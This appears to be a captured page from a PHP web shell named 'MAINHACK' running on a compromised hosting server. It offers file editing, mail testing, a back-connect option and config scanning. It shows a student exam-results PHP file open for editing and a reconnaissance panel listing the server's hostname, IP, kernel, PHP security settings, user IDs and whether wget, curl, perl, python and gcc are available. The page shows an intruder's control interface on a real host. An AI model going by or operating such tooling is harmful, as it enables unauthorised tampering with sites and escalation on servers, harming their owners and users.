[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: my_exam.php
<?php include("header.php"); ?> <!-- // Header include --> <!-- Banner Slider --> <div class="banner-inner" style="height: auto;"> <img src="images/profilebg.png" class="profile-inner" alt=" inner-banner"> <div class="dec"> <div class="container"> <ul> <li><a href="index.php">Home</a></li> <li><a href="my_exam.php" class="active">My Online Exam </a></li> </ul> <h1>All Exam Details</h1> </div> </div> </div> <!-- // Banner Slider --> <div class="Liveexam resultshow" style=""> <div class="home-title" style=""> <h2>My <span> Exams </span> </h2> </div> <div class="container"> <div class="table-responsive"> <table id="basic-datatables" class="display table table-striped table-hover"> <thead> <tr> <th>Sl</th> <th>Date of Exam</th> <th>Category</th> <th>Paper Id/Name</th> <th>Total Marks</th> <th>Answered</th> <th>Percentage(%)</th> <th>Show</th> </tr> </thead> <tbody> <?php $count=1; $stmt=$show->readwithdata_clause('result','user_id',$_SESSION['login_id'],'order by id desc'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ $s1=$show->readwithdata('paper_details','paper_id',$row['paper_id']); $row11=$s1->fetch(PDO::FETCH_ASSOC); echo " <tr> <td>$count</td> <td>".date("d-m-Y",strtotime($row['date']))."</td> <td>".$row11['category']."</td> <td>".$row['paper_id']." | ".$row11['paper_name']."</td> <td>".$row['total']."</td> <td>".$row['answered']."</td> <td>".round($row['percentage'])."%</td> <td><a href='exam_result.php?eid=".base64_encode($row['exam_id'])."&pid=".base64_encode($row['paper_id'])."' class='btn btn-md btn-success'> Show Result<i class='fa fa-angle-double-right'></i></a> </td> </tr>"; $count++; ?> <!--- <div class="Liveexam-bg resultshow-bg"> <span class=""><?=$count?></span> <h3><?=$row['category']?></h3> <h4><a href="exam_result.php" class="paper-test"><b>Test :</b> <?=$row['paper_name']?></a></h4> <h5 class=""></b></h5> <h6>No of question : <b><?=$row['no_of_question']?></b></h6> <h6>Time <b><?php $time=explode(":",$row['exam_timing']); echo $time[0]."hrs : ".$time[1]."mins"; ?></b></h6> <a href="exam_result.php?eid=<?=base64_encode($row['exam_id'])?>&pid=<?=base64_encode($row['paper_id'])?>" class="btn-cal-exam_result"> Show Result<i class="fa fa-angle-double-right" aria-hidden="true"></i> </a> </div>--> <?php } }else{ echo "<h4>No data found</h4>"; } ?> </tbody></table> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619